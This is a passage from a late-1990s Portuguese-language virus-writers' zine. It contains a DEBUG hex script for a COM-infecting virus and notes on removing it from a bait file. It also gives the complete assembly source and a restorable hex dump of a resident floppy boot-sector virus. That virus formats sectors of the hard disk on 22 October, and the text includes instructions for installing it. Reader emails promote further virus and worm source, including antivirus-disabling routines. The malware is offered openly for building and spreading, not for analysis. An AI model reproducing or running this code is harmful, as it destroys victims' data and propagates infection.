20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 01B0 41 4E 44 20 57 49 4C 4C 20 4E 4F 54 20 53 55 52 E 01C0 56 49 56 45 0D 0A 0D 0A 20 20 20 20 20 20 20 20 E 01D0 20 20 20 20 20 20 20 20 20 20 4D 55 43 48 20 4C E 01E0 4F 4E 47 45 52 0D 0A 0D 0A 20 20 20 20 20 20 20 E 01F0 20 20 20 20 20 20 59 4F 55 20 55 4E 46 4F 52 54 E 0200 55 4E 41 54 45 4C 59 20 48 41 56 45 0D 0A 0D 0A E 0210 20 20 20 20 20 20 20 2D 20 54 48 45 20 47 4F 4D E 0220 41 20 42 52 41 5A 49 4C 49 41 4E 20 42 55 47 20 E 0230 76 65 72 73 69 6F 6E 20 32 20 2D 0D 0A 0D 0A 20 E 0240 20 20 20 20 20 20 20 20 20 20 46 4F 52 20 57 48 E 0250 49 43 48 20 54 48 45 52 45 20 49 53 20 4E 4F 20 E 0260 43 55 52 45 0D 0A 0D 0A 20 57 45 20 48 4F 50 45 E 0270 20 54 48 49 53 20 57 49 4C 4C 20 4E 4F 54 20 42 E 0280 45 20 41 4E 20 49 4E 43 4F 4E 56 45 4E 49 45 4E E 0290 43 45 20 54 4F 20 59 4F 55 0D 0A 0D 0A 20 20 20 E 02A0 20 20 20 20 20 20 20 20 4C 4F 56 45 2C 0D 0A 0D E 02B0 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 02C0 20 54 48 45 20 4D 41 47 49 4B 20 4D 55 53 49 43 E 02D0 49 41 4E 53 20 61 6E 64 20 4E 49 4D 5F 42 55 53 E 02E0 0D 0A 24 1E 06 8D 96 5E 06 B4 1A CD 21 E8 48 00 E 02F0 E8 6D 00 07 1F E8 3A 00 CD 21 8D B6 03 01 BF 00 E 0300 01 57 E8 29 00 E8 16 00 C3 1E 07 8B FA B9 40 00 E 0310 B0 2E F2 AE C3 E8 00 00 5D 81 ED 04 03 C3 33 C0 E 0320 99 33 DB BE 00 01 E8 00 00 33 FF 33 ED C3 A5 A4 E 0330 C3 C3 BA 80 00 B4 1A C3 B4 4E 3E FE 86 48 03 8D E 0340 96 46 03 CD 21 3E FE 8E 48 03 72 0D 8D 96 7C 06 E 0350 E8 1A 00 B4 4F CD 21 73 F3 C3 2A 2E 42 4F 4D 00 E 0360 B4 09 8D 96 0C 01 CD 21 B4 00 CD 16 C3 56 E8 98 E 0370 FF 26 81 7D FD 4E 44 75 02 EB 7B B8 00 43 CD 21 E 0380 51 52 1E 33 C9 E8 70 00 B8 02 3D CD 21 72 67 93 E 0390 B8 00 57 CD 21 51 52 B4 3F B9 1C 00 8D 96 42 06 E 03A0 CD 21 3E 80 BE 42 06 4D 74 63 3E 80 BE 42 06 5A E 03B0 74 5B B0 02 E8 5A 00 81 FA C0 F9 77 50 83 FA 0E E 03C0 72 4B 81 EA 3F 05 3E 3B 96 43 06 74 40 81 C2 3F E 03D0 05 3E 89 96 10 04 8D 96 42 06 CD 21 E8 21 00 32 E 03E0 C0 E8 2D 00 8D 96 0F 04 CD 21 5A 59 1F 5A 59 E8 E 03F0 06 00 B4 3E CD 21 5E C3 B8 00 43 FE C0 CD 21 C3 E 0400 E8 1D 00 B9 3C 05 8D 96 06 01 CD 21 C3 59 5A EB E 0410 DB B4 42 33 C9 99 CD 21 8B D0 B4 40 B9 03 00 C3 E 0420 B4 40 C3 E9 17 00 00 00 00 00 00 00 00 00 00 00 E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0650 00 45 20 4F 20 56 RCX 0556 W Q ;;;;;;;;;;;;;;;;;;;; ISCA.SCR ;;;;;;;;;;;;;;;;;;;;;;; Agora analizaremos os dois arquivos . Os 3 primeiros bytes do arquivo com o virus foram mudados para um jump ( Como Previamos !) a sequencia de bytes em hexa mudou de B4 09 BA para E9 17 00 , como se trata de um arquivo pequeno e conhe- ciamos o arquivo antes dele ser infectado, fica tudo mais facil. E' so' editar o arquivo infectado, trocar os tres bytes e dar um RESIZE diminuindo o tamanho do virus, se nao me engano 1343 bytes. Supondo agora que nao conhecessemos a estrutura do programa an- tes da infeccao, que e'o que ocorre na maioria das vezes. Rodariamos o debug e o encontrariamos o endereco para onde o JUMP nos levaria. No nosso caso , utilizando a isca infectada e fingindo nao saber nada a respeito do programa host , seu tamanho, suas instrucoes, ou seja, nada . Rodamos o debug , abrimos o programa e a primeira instrucao é um JUMP para o endereco 011A , va' ate o endereco e veja o seu codigo em hexa, nao se preocupe com a instrucao, apenas com o codigo em hexa. Ei, nao tem o endereco 011A do 0118 pula para o 011D ( estou su- pondo), nao se desespere cada codigo em hexa CD por exemplo é um byte entao e' so contar os codigos e achar o endereco correto !!! Chute que o seu virus e' um COM infector normal e copie os tres bytes (os codigos em hexa) que antecedem o endereco do jump. Beleza, rode o Diskedit e no lugar dos 3 primeiros bytes do ar- quivo, coloque os bytes que voce copiou no debug. Pronto, seu virus ja esta inativo, agora so'falta retira-lo do arquivo . No proprio diskedit marque tudo posterior `a copia dos tres bytes ( os tres bytes antes do endereco do jump... ) e de um Fill com qualquer caractere de preferencia o 00h. Agora de uma de mestre e conte quantos bytes voce preencheu ou quantos bytes voce nao preencheu e com isso voce sabera o tamanho do virus, faca o mais rapido (quer dizer, faco o que voce quiser, depen- de sempre do tamanho do arquivo hospedeiro). Anote o tamanho do virus. Rode o RESIZE com a seguinte linha de comando: RESIZE -tamanho do virus nome do arquivo EX: RESIZE -1343 gomaisca.com Prontinho agora seu virus se foi de uma vez por todas... Caso voce fez tudo certinho e o seu arquivo nao rodou . Bom... Faca um arquivo GomaIsca.Com e o infecte com o virus . Veja se o virus nao copia mais do que os tres bytes iniciais, e va'tentando, na pior das hipoteses voce descobrira quantos bytes o virus copia em bem poucas tentativas, e utilize um pouco sua massa cinzenta para nao fi- car fazendo as coisas mecanicamente ... Afinal , querendo ou nao, os conceitos sao esses apresentados no texto. E agora e' com voce, nao se desespere eu acredito em voce, senao nao teria feito essa materia, aproveite para utilizar algumas de suas capacidades como : sua imaginacao, criatividade e paciencia !!! E' isso ai ... T + Nota : Em relacao ao portugues e acentuacao , me desculpe mas a ainda nao consegui colocar acentos no DOS que o Windows reconheca e vice- versa, e como estou com projeto de fazer o zine em HTML , fica mais facil os dois serem se acento do que um dele com caracteres nao muito bem definidos. T + Mesmo nim_bus@hotmail.com ─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ───────────────────────────────────────────── 5 - Goma BOOT Floppy (Vers╞o de Teste) ───────────────────────────────────────────── Seguindo a lógica de raciocínio dada no goma.100 temos ainda uma porrada de tipos de vírus que n╞o fizemos ainda,mas isso é o de menos pois quando tivermos feito a maioria dos tipos de vírus, ai temos que mudar de linguagem, estou vendo se aprendo C mas seilá. Vamos levando enquanto tivermos idéias de vírus e vontade de fazê-los,n╞o importando a linguagem, a plataforma que o vírus irá ro- dar ou se o vírus será interpretado ou compilado. Baseado em inúmeros vírus de boot , segue abaixo o virus de boot GomaBoot_Floppy versao de teste . ─────────────────────────────────────── Comentários ─────────────────────────────────────── Em se tratando de vírus de Boot n╞o há muito o que comentar ... Tamanho : 512 Bytes. Data de Ativacao : 22.10.???? Acao : Multiplicaç╞o (Só Disquetes) Mensagem de Ativaç╞o e Formataç╞o de Setores do HD quando dia for 22.10 Mensagem de disco sem sistema se dia <> 22.10 Infecta : Disquetes ao serem acessados Tipo : Boot residente na memória Peço desculpas pois o vírus n╞o é 100 % desconhecido alguns Av's como o AVP por exemplo d╞o heuristica e indicam que o disquete pode estar infectado com algum vírus de boot . Sinto muito , mas n╞o tive tempo para fazer o vírus e muito menos para trabalhar em cima dele . Devido a minha falta de tempo,principalmente. Esse vírus sai sem grandes comentários ou como vers╞o final , esta saindo como vers╞o de TESTES , quando eu tiver um tempo eu explico como colocar o vírus na memória ( creio que essa deve ser uma das maiores duvidas que possam ocorrer ) e como é que funciona o boot, vide o Goma Trojan de Boot. Divirta-se ... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaBoot_Floppy ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; * Utilize o compilador A86 para compilar ; ; Ex. : A86 boot.asm boot.com ; ; ; ; * Coloque no boot de um disco de preferencia de 1.44 ; ; Ex. : DEBUG boot.com ; ; -w 100 0 0 1 ; ; -q ; ;;;;;;;;;;;;;;;;;; Pronto seu boot ja esta infectado ;;;;;;;;;;;;;;;;;;;;;;;;; .286c .model tiny .code org 0h ;;;;;;;;;;;;;;;;;; Constantes ;;;;;;; ler_dir equ 0500h ; base equ 7c00h ; base_2 equ 7c02h ; memoria equ 0400h ; topo equ 0200h ; data_sistema equ 04h ; data_ativacao equ 1022h ; ;;;;;;;;;;;;;;;;;; Constantes ;;;;;;; ; Virus: ; jmp Inicio ; ; ;;;; Parametros Disquete de 1.44 ;;;; db "GomaBoot" ; 03h-0Ah ID do sistema dw 200h ; 0Bh-0Ch bytes por setor db 1h ; 0Dh setores por granulo dw 1h ; 0Eh-0Fh setores na area reservada db 2h ; 10h numero de copias da fat dw 0e0h ; 11h-12h entradas do diretorio raiz dw 0b40h ; 13h-14h total de sectores db 0FEh ; 15h descritor de midia dw 9h ; 16h-17h sectores po fat dw 12h ; 18h-19h sectores por trilha dw 2h ; 1Ah-1Bh lados (cabecas) dw 0h ; 1Ch-1Dh setores escondidos db 9 DUP(0) ; Pule 9 bytes e dw 1997h ; Numero de serie do disco \ 2210-1997 dw 2210h ; Numero de serie do disco / db "Goma Floppy" ; Nome do Volume db "FAT12 " ; Tipo de Sistema de arquivos (Floppy) ;;;;;;;; Inicio do Virus ;;;;;;;;;;;; Inicio: ; cli ; Limpa interrupcao de flags cld ; Limpar a flag de direcao xor ax,ax ; mov ds,ax ; mov ss,ax ; mov sp,base ; Inicializar segmento + pilha ; mov bx,offset vetor_int13h + base ; Checar o vetor da int 13h mov ax,ds:4ch ; cmp ax,bx ; AX e' igual a BX je Instalado ; Sim ? Ja estamos na memoria ... ; mov ds:[area+base],ax ; Valve o vetor antigo mov ax,ds:4eh ; mov ds:[area+base_2],ax ; ; mov di,memoria ; Ajustar o tamanho da memoria mov ax,ds:[di+13h] ; dec ax ; mov ds:[di+13h],ax ; ; mov cl,6h ; ES -> topo da memoria shl ax,cl ; sub ax,07C0h ; mov es,ax ; ; mov cx,topo ; Copiar o virus para o topo da memoria mov si,sp ; SP = 7c00h mov di,sp ; call despista ; Copia byte de si para di ; mov ds:4ch,bx ; Novo vetor mov ds:4eh,es ; ; Instalado: ; xor ax,ax ; push ss ; pop es ; mov bx,0078h ; lds si,ss:[bx] ; DS : SI = INT 1Eh (table ptr) push ds ; push si ; push ss ; push bx ; mov di,7C3Eh ; Mover table para ds:7C3Eh mov cx,0Bh ; call despista ; Copia byte push es ; pop ds ; mov byte ptr [di - 2h], 0Fh ; Muda os valores mov cx,ds:7C18h ; mov [di - 7h],cl ; ; mov [bx + 2h],ax ; Table para ds:7C3Eh mov word ptr [bx],7C3Eh ; sti ; int 13h ; Reseta disco ; jc erro ; Deu Carry ? Entao deu erro xor ax,ax ; mov cx,ds:7C13h ; Numero de setores mov ds:7C20h,cx ; mov ax,ds:7C16h ; Calcular a entrada de diretorio (FAT) shl ax,1h ; inc ax ; mov ds:7C50h,ax ; Salvar valores mov ds:7C49h,ax ; ; mov ax,ds:7C11h ; Calcular a entrada do arquivo IO.SYS mov cl,4h ; shr ax,cl ; add ds:7C49h,ax ; ; mov bx,ler_dir ; Ler o diretorio mov ax,ds:7C50h ; call ler_setor ; jc erro ; ; cmp word ptr [bx], 'OI' ; E' o arquivo IO.SYS ? (MS-DOS) jne Ibm_dos ; Nao ? Sera o IBM-DOS ? ; cmp word ptr [bx+20h], 'SM' ; E' o arquivo MSDOS.SYS ? je continue ; Sim ? Continua ... ; jmp short erro ; Nao ? Erro ! ; Ibm_dos: ; cmp word ptr [bx], 'BI' ; E' o arquivo IBMBIO.COM ? jne erro ; Nao ? Erro ! cmp word ptr [bx+20h], 'BI' ; E' o arquivo IBMDOS.COM ? je continue ; Sim ? Continua ... ; erro: ; mov ah,data_sistema ; Ver data do sistema (BIOS) int 1Ah ; ; cmp dx,data_ativacao ; E' dia 22 de outubro jne cont_sem_sys ; ** Valeu Regis . Valeu Guino ** ; mov si,offset vir_msg + base ; Escrever mensagem do virus call escrever_msg ; ; mov ax,0380h ; mov dx,80h ; Drive C: mov cx,01h ; mov bx,0300h ; mov es,bx ; sub bx,bx ; int 13h ; Formatar alguns setores do drive C: call Trava ; Depois do Format Trave ; Trava: ; call Trava ; Travou !!! ; cont_sem_sys: ; Nao temos o sistema , mas nao e' 22/10 ; mov si,offset sem_sistema + base ; Escrever mensagem de disco sem call escrever_msg ; Sistema ; ; xor ax,ax ; Esperar por uma tecla int 16h ; ; pop si ; Restaurar o vetor da int 1Eh pop ds ; pop [si] ; pop [si+2] ; int 19h ; Dar novamente um Boot !!! ; continue: ; mov bx,0700h ; Ler 3 setores do arquivo IO.SYS mov cx,3h ; Em ds:0700 mov ax,ds:7C49h ; ; proximo_setor: ; call ler_setor ; Ler o setor jc erro ; Deu erro ? inc ax ; add bx,topo ; loop proximo_setor ; Ler o proximo ; mov ch,ds:7C15h ; Vamos para o inicio do arquivo IO.SYS mov dl,0h ; mov bx,ds:7C49h ; mov ax,0h ; db 0EAh,0h,0h,70h,0h ; ; ; ;;;;;;;;;;; Ler setor ;;;;;;;;;;;;; ler_setor: ; push ax ; push cx ; ; div byte ptr ds:7C18h ; AL = Setor/9 (0-160) AH=Setor (0-8) cwd ; inc ah ; ah = 1-9 (setor) shr al,1h ; al = 0-80 (trilha) adc dh,0h ; dh = 0/1 (cabeca) xchg ah,al ; dl = 0 (drive) xchg ax,cx ; mov ax,0201h ; Leia int 13h ; ; pop cx ; pop ax ; ; retorna: ; ret ; ; ;;;;;;; Escrever a mensagem ;;;;;;;;; escrever_msg: ; lodsb ; or al,al ; jz retorna ; mov ah,0Eh ; mov bx,7h ; int 10h ; Escrever a mensagem jmp short escrever_msg ; Letra por letra ... ; ;;;;;;;;; Vetor Int 13h ;;;;;;;;;;;;; vetor_int13h: ; push ax ; push ds ; ; cmp ah,2h ; Em execucao a funcao 2 (leitura) ? jne cancela ; ; test dl,0FEh ; Drive A: ou B: ? (cabeca=0) jnz cancela ; Nao ? Cancela ; call ativo ; jnz cancela ; Nao ? Cancela ; entrada: ; push cx ; push bx ; push di ; push si ; push es ; ; Infectar_boot: ; ; mov ax,0201h ; Ler setor de boot mov bx,7E00h ; Ate 7E00h mov cx,1h ; ; push cs ; push cs ; ; pop es ; pop ds ; ; pushf ; push cs ; call int13h_original ; jc saida ; ; mov si,7E0Bh ; Mover BPB para o virus mov di,7C0Bh ; mov cl,33h ; call despista ; Copiar byte ; mov ax,0301h ; Escrever o virus para o setor de boot mov bx,base ; mov cl,1h ; pushf ; push cs ; call int13h_original ; ; saida: ; pop es ; pop si ; pop di ; pop bx ; pop cx ; ; cancela: ; pop ds ; pop ax ; ; int13h_original: ; jmp dword ptr cs:[area+BASE] ; Vetor original ; ativo: ; xor ax,ax ; mov ds,ax ; test byte ptr ds:043Fh,1h; O drive ja esta ativo ? ret ; ; despista: ; rep movsb ; ret ; ;;;;;;;;;;;; Data Area ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; area dw ?,? ; sem_sistema db "Sem Boot" ,0Dh, 0Ah, 0h ; vir_msg db "Goma_Floppy'99" ,0Dh, 0Ah, 0h, 0h ; ;;;;;;;;;;;; Data Area ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; fim: ; db 55h, 0AAh ; Fim do setor de Boot end Virus ; EOV ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaBoot_Floppy ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Referências: ------------ * Alocaç╞o do vírus na memória ------------------------------- Vide textos na internet sobre, e vasculhe vírus de boot. * Vírus alocado mesmo que o disco n╞o tenha sistema ----------------------------------------------------- Principio básico da maioria dos vírus de boot, vide outros espécimes. ──────────────────────────────────────────────────────────────────────────── ___ ___ __ . __ ___ (__ | |__) | |__) | ___) |___ | \ | | | ──────────────────────────────────────────────────────────────────────────── Restaure com: DEBUG < BOOT.SCR ;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaBoot_Floppy ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; N BOOT.COM E 0100 E9 3B 00 47 6F 6D 61 42 6F 6F 74 00 02 01 01 00 E 0110 02 E0 00 40 0B FE 09 00 12 00 02 00 00 00 00 00 E 0120 00 00 00 00 00 00 00 97 19 10 22 47 6F 6D 61 20 E 0130 46 6C 6F 70 70 79 46 41 54 31 32 20 20 20 FA FC E 0140 33 C0 8E D8 8E D0 BC 00 7C BB 82 7D A1 4C 00 39 E 0150 D8 74 2E A3 DD 7D A1 4E 00 A3 DF 7D BF 00 04 8B E 0160 45 13 48 89 45 13 B1 06 D3 E0 2D C0 07 8E C0 B9 E 0170 00 02 8B F4 8B FC E8 61 01 89 1E 4C 00 8C 06 4E E 0180 00 33 C0 16 07 BB 78 00 36 C5 37 1E 56 16 53 BF E 0190 3E 7C B9 0B 00 E8 42 01 06 1F C6 45 FE 0F 8B 0E E 01A0 18 7C 88 4D F9 89 47 02 C7 07 3E 7C FB CD 13 72 E 01B0 48 33 C0 8B 0E 13 7C 89 0E 20 7C A1 16 7C D1 E0 E 01C0 40 A3 50 7C A3 49 7C A1 11 7C B1 04 D3 E8 01 06 E 01D0 49 7C BB 00 05 A1 50 7C E8 80 00 72 1C 81 3F 49 E 01E0 4F 75 09 81 7F 20 4D 53 74 4A EB 0D 81 3F 49 42 E 01F0 75 07 81 7F 20 49 42 74 3B B4 04 CD 1A 81 FA 22 E 0200 10 75 1E BE EC 7D E8 6B 00 B8 80 03 BA 80 00 B9 E 0210 01 00 BB 00 03 8E C3 2B DB CD 13 E8 00 00 E8 FD E 0220 FF BE E1 7D E8 4D 00 33 C0 CD 16 5E 1F 8F 04 8F E 0230 44 02 CD 19 BB 00 07 B9 03 00 A1 49 7C E8 1B 00 E 0240 72 B7 40 81 C3 00 02 E2 F4 8A 2E 15 7C B2 00 8B E 0250 1E 49 7C B8 00 00 EA 00 00 70 00 50 51 F6 36 18 E 0260 7C 99 FE C4 D0 E8 80 D6 00 86 C4 91 B8 01 02 CD E 0270 13 59 58 C3 AC 0A C0 74 FA B4 0E BB 07 00 CD 10 E 0280 EB F2 50 1E 80 FC 02 75 40 F6 C2 FE 75 3B E8 3F E 0290 00 75 36 51 53 57 56 06 B8 01 02 BB 00 7E B9 01 E 02A0 00 0E 0E 07 1F 9C 0E E8 21 00 72 18 BE 0B 7E BF E 02B0 0B 7C B1 33 E8 23 00 B8 01 03 BB 00 7C B1 01 9C E 02C0 0E E8 07 00 07 5E 5F 5B 59 1F 58 2E FF 2E DD 7D E 02D0 33 C0 8E D8 F6 06 3F 04 01 C3 F3 A4 C3 00 00 00 E 02E0 00 53 65 6D 20 42 6F 6F 74 0D 0A 00 47 6F 6D 61 E 02F0 5F 46 6C 6F 70 70 79 27 39 39 0D 0A 00 00 55 AA RCX 0200 W Q ;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaBoot_Floppy ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ──────────────────────────────────────────────────────────────────────────── __ __ |__| | | |\/| | | |__) | | |__| | | |__| | \ ──────────────────────────────────────────────────────────────────────────── ───────────────────────────── 6 - O Windows e' um virus ? ───────────────────────────── Texto retirado da internet, sem identificacao do autor e origi- nal em ingles. O Windows e' um virus ? ─────────────────────── Nao, o Windows nao e'um virus ! ─────────────────────────────── Veja as singularidades entre o windows e um virus : 1 -) Se espalham rapidamente ... 2 -) Utilizam recursos do sistema deixando-o lento. 3 -) Irao com o tempo foder seu HD. 4 -) Sao usualmente inseridos no computador, sem o usuario que- rer ou saber. Agora repare nas diferencas entre um virus e o windows : 1 -) Virus tem total suporte dos autores. 2 -) Virus rodam na maioria das maquinas. 3 -) Virus sao rapidos,compactos e eficientes. 4 -) Virus tendem a ficar mais sofisticados a medida que ganham maturidade. Agora ficou claro que o Windows nao e um virus !!! ────────────────────────────────────────────────── Fraca, mas melhor que a do Galo Branco ... ─────────────────────────────────────────────────────────────────────────── __ . |\/| |__| | | | | | | | |__ ─────────────────────────────────────────────────────────────────────────── ────────────────── 7 - E-Mail ... ────────────────── E' a primeira vez que estamos colocando e-mail da galera pra galera. Essa secao nao sera como nas revistas normais, nao publicaremos e-mails de bajuladores e muito menos e-mails sem qualquer tipo de conteudo interessante, se voce tiver ai alguma coisa que queira dar um toque pra galera e ache interessante, mande um mail e peca para ele ser publicado ... Nessa edicao vao dois mails que recebi da galera e que achei muito bom coloca-los para que vo6 vejam que tem muita galera brazuca na fita e que nosso cenario esta crescendo. 1 -) Dark Lion Wave Virus ────────────────────────── O mail abaixo e' o ultimo de uma porrada de e-mail trocado com Dark Lion pela minha pessoa, ele uma vez me veio com uma duvida e eu que acabei com algumas... Mas deixa de papo e vamos ao que interessa. Ah queria me desculpar ao Dark Lion pela demora em responder al- guns dos e-mails dele, mas vo6 todos estao ligados que eu nao tenho tempo e fazer o que, o unico jeito e' esse mesmo, PACIENCIA ... O codigo fonte do virus se encontra nessa edicao do zine. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From: F. K. <fabianok@yahoo.com> To: Nim Bus <nim_bus@hotmail.com> Subject: Re: Valeu ! Date: Wed, 22 Dec 1999 03:57:10 > Ai nim?! Blz? 100 % . Ferias e' muito bom ... > Vc esta respondendo rapido os e-mails hein??! :) Em comparacao com os outros que respondi, virei o The Flash ... > Ei, no seu ultimo e-mail a mim vc me disse que se eu > quisesse postar meu virus no seu zine vc colocaria, e > eu estive pensando e acabei decidindo que gostaria que > vc fizesse isto. Claro que coloco, afinal voce fez o virus suou a camisa pra caralho e deve haver alguma recompensa para isso ... > Sabe, eh legal os outros conhecerem o meu trabalho, e > alem do mais esse virus fez com que eu > passasse de ano! Eu entreguei-o como trabalho de > conclusao de curso - eu estava no 3 ano do curso de > tecnico em informatica. Maneiro, nunca fiz curso nenhum na area de informatica, minha praia e' outra ... Quimica ! > Eh um virus de arquivos COM com criptografia, destruicao > da vacina do norton antivirus, e mais umas coisinhas que > acho que vc vai achar legais. Em relacao `a criptografia sera' a 1ª vez que colocamos algo assim no zine, mas acho que ja' esta na hora mesmo, a destruicao da vacina do norton e' uma rotina muito interessante que a galera podera usar em virus dos mais variados tipos e as coisinhas mais sao suas rotinas como a de Crypt e a de Delay entre outras, muito bem elaboradas por sinal. Bom Trabalho ... > Bom, eu gostaria de receber emails com perguntas sobre > o codigo do virus, se vc quiser postar esta mensagem > junto no zine eu ficaria grato! Receber e-mails e' por parte da galera, nao fica nervoso se eu nao respondi seu mail, resolvi responder no zine mesmo e a mensagem ta ai. Valeu ! > Valeu Nim, la vai o Codigo > > Dark Lion - F. K. T+ nim_bus@hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 2 -) LeBeau Worm ────────────────── O mail que recebi do LeBeau foi uma bela duma critica e resolvi publica-lo e mostra que alguma coisa que ele sugeriu esta sendo mudada e que se voce tambem tem suas criticas e sugestoes, nos envie assim voce estara fazendo seu zine muito mais a sua cara. Agradeco ao LeBeau pelas criticas e por nos ter autorizado a publicacao do seu tutorial de virus em Pascal (vide numeros anteriores de virus brasil) e agora por esse Worm em Pascal e em breve pelo Tutorial de virus de macro, aguardem ... Valeu mesmo grande, e estamos ai pra "botar fogo na babilonia !" O codigo fonte do Worm se encontra nessa edicao do zine. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From: C. M. F. <ferreira@mbox1.unisul.rct-sc.br> To: Nim Bus <nim_bus@hotmail.com> Subject: Virus Brasil Date: Thu, 5 Nov 1999 00:28:47 > Andei olhando os zines de vcs... Sabe, esses tipos de virus em > Asm o pessoal ja tah cheio... Basicamente, qualquer um sabe > pegar um arquivo baixo nivel em asm e compilar, nao tem mais > graca, a graca estß em fazer um... pq vcs nao explicar como > fazer um parte por parte? ao inves de dar um virus pronto. Interessante, ao ter tempo eu verei a possibilidade de colocar tal projeto em pratica ... > Outra coisa, esses virus sao antigos, podem ser que tenham sido > feito ontem, mas virus em Asm perdeu a importancia, virus hj em > dia tem que ser no minimo em C ou em Pascal, pra nao dizer word > basic... Bom, em relacao `a ASM ser uma linguagem sem importancia, discordo, pois em se tratando de virus e' a melhor linguagem para tal finalidade, o codigo e' compacto, rapido e muito pequeno. > PQ nao mostram um virus interessante como w32.cih? esse ateh eu > queria o codigo fonte. Tb tem o virus Melissa, que todo mundo > tem, mas Θ recente. O melissa saiu na edicao 4 do zine e o cih e' um senhor de um virus mas seila' mais pra frente, aguenta ai, nem fizemos um tsr em asm ainda... > De presente, eu estou enviando um worm que eu fiz em pascal, que > eu nao enviei o codigo fonte pra ninguem, e que ainda hoje eh > conhecido... Valeu o codigo segue em anexo para quem quiser, infelizmente nao tive tempo para analisa-lo mas deve ser muito bom ... > Esse worm eh responsavel pelas pessoas enviarem arquivos > chamados: > viagra.exe, grana.exe, overnuke.exe, putas.exe, emails.exe, etc. > o nome que o AVP deu pra ele eh: irc_Worm.overnuke. > Eu fiz um mais recente, que eh encriptado e se multiplica pela > rede local para outros computadores alem de usar o mirc. Se > vcs quiserem, posso enviar, soh que eh bem mais complexo, > recomendo uma edicao apos a proxima (se tiver). Claro, tudo relacionado para nos e' muito importante e com toda certeza queremos o codigo . Quanto a proxima edicao a nº6 sai nao sei se em abril, mas que sai sai ... > Posso ajudar fazendo um texto sobre virus genetico e evolutivo. > Imagine um virus que se reproduza, evolua, aprenda novos metodos, > ia ser o fim da informatica. Se tiver a fim mesmo, e' so mandar bala que agente publica na integra ! > Ah, pediria para por os links, caso vcs coloquem meu virus no > zine, das minhas paginas: Opa ta ai : http://surf.to/lbworld http://ai.freeshell.org > Falow > C. (LeBeau) > ferreira@unisul.rct-sc.br > UIN: #3960630 Valeu grande, t+ Nim_Bus Ps. Muito obrigado pelo tutorial de virus em pascal, o qual saiu no nosso zine e que recebi muitos mails agradecendo a diversificacao da linguagen, antes so' ASM agora ja' PASCAL em breve seila' mas iremos aprimorando, valeu mesmo. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 3 -) Anonimo ... ────────────────── Esse e' um mail anonimo que recebi e como nao tive como responde- lo, estou respondendo no zine mesmo. Embora sabendo que o cara nao vai entender lhufas do que eu escrevi, eu respondi em consideracao aos ca- ras que escreveram e deixo no ar que um dia o zine sai em ingles... From: Anonymous <nobody@replay.com> To: nim_bus@hotmail.com Date: Mon, 16 